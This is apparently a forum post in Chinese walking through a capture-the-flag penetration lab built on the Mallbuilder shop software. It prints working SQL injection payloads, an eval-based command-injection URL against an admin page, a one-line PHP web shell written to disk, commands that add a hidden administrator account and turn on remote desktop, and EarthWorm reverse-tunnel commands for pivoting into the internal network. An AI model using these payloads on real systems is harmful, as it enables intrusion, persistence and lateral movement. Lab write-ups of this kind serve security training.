前言

时间有点久,这里主要和大家分享一下思路。
该靶场是多层网络下的综合渗透,只开放了一个web端可以访问,其他均处于内网。

开始渗透

首先进入靶场开放的唯一一个开放的web端。

进入网站首页,发现是Mallbuilder,并且该版本有注入漏洞,可以直接获取管理员密码。

payload:

/cate_show_ajax.php?oper=ajax&call=get_cate POST catid=12313213131313113) and EXP(~(SELECT*FROM(SElect user FROM mallbuilder_admin)a limit 0,1 ))#

md5解密后得知admin 密码为:mall123!@#

可以通过sql注入获取第一个flag
payload:

/cate_show_ajax.php?oper=ajax&call=get_cate

post提交:
catid=12313213131313113) and EXP(~(SELECT*FROM(SElect flag FROM flag)a))#

得到第一个flag

登录管理账号admin 密码为 mall123!@# ,进入后台

查看源代码,发现第二个flag

网上没有公开的后台 getshell 的漏洞,需要下载一份源码进行简单的审计
源码地址:https://github.com/source-trace/mallbuilder
admin\module_translations.php 存在命令执行

<?php
    include_once("../includes/global.php"); 
    $script_tmp = explode('/', $_SERVER['SCRIPT_NAME']);
    $sctiptName = array_pop($script_tmp);
    include_once("auth.php");

    if(empty($_POST))
    {
        $refer_lang = $_GET['code'] =='en'?'cn':'en';   //基本参照语言
        $l = $rl = array();echo "start";
        @include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$_GET['code'].'.php');

        @eval('$l =$_LANG_MOD_'.strtoupper($_GET['mod']).';');  
        @include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$refer_lang.'.php');
        @eval('$rl =$_LANG_MOD_'.strtoupper($_GET['mod']).';');

        $diff_lang = @array_diff_key($rl,$l);
        $l += $diff_lang; 
        if($l=='')
            die($lang['translat_data_emp']);
    }else{
           if($config['enable_tranl']==0)
          {
                die($lang['tranl_fordid']);
          }
            include_once("../includes/lang_class.php");
            $tr_lang = new lang();
            foreach($tr_lang->module_files() as $key=>$mod)
            {   
                if(isset($_POST[strtolower($mod)]))
                {   
                    $tr_lang->save_module_files( $_POST[strtolower($mod)],$key,$_GET['code'] );
                    echo "<script>parent.window.succ_trans_tip('$key');</script>";
                    break;
                }
            }
            die();
    }
?>

mod 参数被带入 eval 执行,但是中间经过了 strtoupper 函数,这个在后期写马的时候需要注意

/admin/module_translations.php?mod=;system('whoami')

/admin/module_translations.php?mod=;system('dir')

发现flag.php

直接 type 读取

payload:

/admin/module_translations.php?mod=;system('type flag.php')

得到第三个flag

由于有cookie不能直接连接,所以先写一个马出来,需要注意strtoupper函数
经过测试,发现上传一句话木马只能用数字命名,如下例的1.php

/admin/module_translations.php?mod=;file_put_contents('1.php','<?php @eval($_POST[1]);?>')

使用菜刀连接(2333当时还是用的菜刀)

在C盘根目录下发现flag.txt,但是没有权限读取

打开Cknife的模拟终端,执行命令

net user simple 111Qqq... /add 添加一个叫做 simple的用户
net localgroup administrators simple /add 将 simple 添加到管理员组中
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 开启远程桌面
netstat -an 查看开放端口

发现3389端口开放成功,使用windows下自带的工具mstsc.exe进行远程桌面连接

使用创建的simple账户登录进入后找到在C盘根目录下的flag.txt 修改文件权限,即可读到第四个flag

在管理员桌面发现第五个flag

进入内网

除了一个开发web端可以直接访问,其他都是内网环境,需要做端口转发,这里用EarthWorm配合proxifier进行端口转发和全局代理设置。目的是可以通过本机访问内网环境。

EarthWorm官网包含使用教程:https://rootkiter.com/EarthWorm/

在端口转发之前首先在本地开启接收转发,使用Earthworm
命令: ew_for_Win.exe -s rcsocks -l 1080 -e 8888
显示start listen port here即可

使用菜刀将端口转发工具:Earthworm 上传到网站目录下,进入模拟终端,使用工具进行端口转发。
在模拟终端执行命令:ew_for_Win.exe -s rssocks -d 10.10.80.27 -e 8888

使用proxifier配置服务器代理,配置代理规则即可实现本机访问内网ip

后记

EarthWarm官网已停止更新并且停止下载,这里给大家分享:EarthWarm

另外内网穿透推荐使用nps,nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
地址:https://github.com/ehang-io/nps

点击收藏 | 2 关注 | 1
登录 后跟帖